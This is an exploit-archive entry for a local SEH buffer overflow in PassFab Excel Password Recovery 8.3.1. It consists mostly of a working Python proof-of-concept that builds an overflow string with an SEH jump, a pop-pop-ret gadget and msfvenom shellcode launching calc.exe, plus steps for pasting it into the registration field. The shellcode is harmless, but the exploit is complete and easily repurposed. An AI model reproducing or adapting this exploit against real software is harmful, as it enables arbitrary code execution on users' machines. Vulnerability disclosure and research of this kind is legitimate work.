PassFab Excel Password Recovery 8.3.1 SEH Buffer Overflow

2019.02.02
Credit: Achilles
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: PassFab Excel Password Recovery SEH Local Exploit # Date: 31.01.19 # Vendor Homepage:https://www.passfab.com/products/excel-password-recovery.html # Software Link: https://www.passfab.com/downloads/passfab-excel-password-recovery.exe # Exploit Author: Achilles # Tested Version: 8.3.1 # Tested on: Windows XP SP3 # 1.- Run python code : PassFab_RAR # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open PassFab RAR Password Recovery # 4.- In the new Window click on the key in the upper right corner # 5.- Paste the content of EVIL.txt into the Field: 'Licensed E-mail and Registration Code' # 6.- Click 'Register'and the calculator will open # 7.- Greetings go:XiDreamzzXi,Metatron #!/usr/bin/env python import struct buffer = "\x41" * 260 NSEH = "\xeb\x06\x90\x90" #jmp short 6 SEH = struct.pack('<L',0x100674dd) #pop pop ret SoftwareLog.dll nops = "\x90" * 20 #badchar \x00\ #msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python buf = "" buf += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d" buf += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5" buf += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde" buf += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb" buf += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32" buf += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84" buf += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27" buf += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3" buf += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5" buf += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8" buf += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3" buf += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78" buf += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15" buf += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a" buf += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05" buf += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b" buf += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26" buf += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82" buf += "\x8e\x2a\x79\xdb" payload = buffer + NSEH + SEH + nops + buf try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"


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